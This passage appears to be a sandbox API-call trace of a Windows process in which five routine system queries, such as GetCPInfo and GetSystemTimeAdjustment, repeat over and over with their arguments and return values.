lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.698] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.698] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.698] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.698] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.698] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.698] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.698] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.698] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.698] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.698] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.698] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.698] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.698] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.698] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.698] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.698] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.698] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.698] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.699] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.699] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.699] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.699] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.699] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.699] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.699] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.699] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.699] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.699] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.699] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.699] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.699] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.699] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.699] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.699] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.699] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.699] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.699] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.699] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.699] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.699] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.699] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.699] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.699] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.699] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.699] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.699] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.699] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.699] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.700] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.700] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.700] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.700] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.700] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.700] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.700] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.700] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.700] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.700] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.700] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.700] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.700] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.700] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.700] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.700] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.700] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.700] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.700] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.700] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.700] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.700] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.700] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.700] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.700] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.700] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.700] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.700] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.700] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.700] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.701] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.701] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.701] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.701] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.701] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.701] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.701] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.701] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.701] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.701] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.701] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.701] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.701] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.701] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.701] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.701] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.701] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.701] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.701] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.701] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.701] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.701] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.701] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.701] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.701] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.701] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.701] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.701] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.701] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.701] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.702] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.702] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.702] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.702] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.702] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.702] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.702] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.702] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.702] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.702] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.702] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.702] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.702] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.702] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.702] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.702] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.702] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.702] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.702] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.702] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.702] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.702] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.702] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.702] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.702] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.702] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.702] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.702] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.702] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.702] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.702] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.702] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.703] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.703] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.703] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.703] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.703] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.703] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.703] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.703] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.703] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.703] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.703] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.703] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.703] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.703] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.703] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.703] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.703] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.703] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.703] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.703] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.703] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.703] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.703] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.703] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.703] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.703] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.703] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.703] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.703] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.703] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.703] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.703] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.703] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.704] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.704] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.704] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.704] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0109.704] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0109.704] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0109.704] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0109.704] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0109.704] GetThreadSelectorEntry (in: 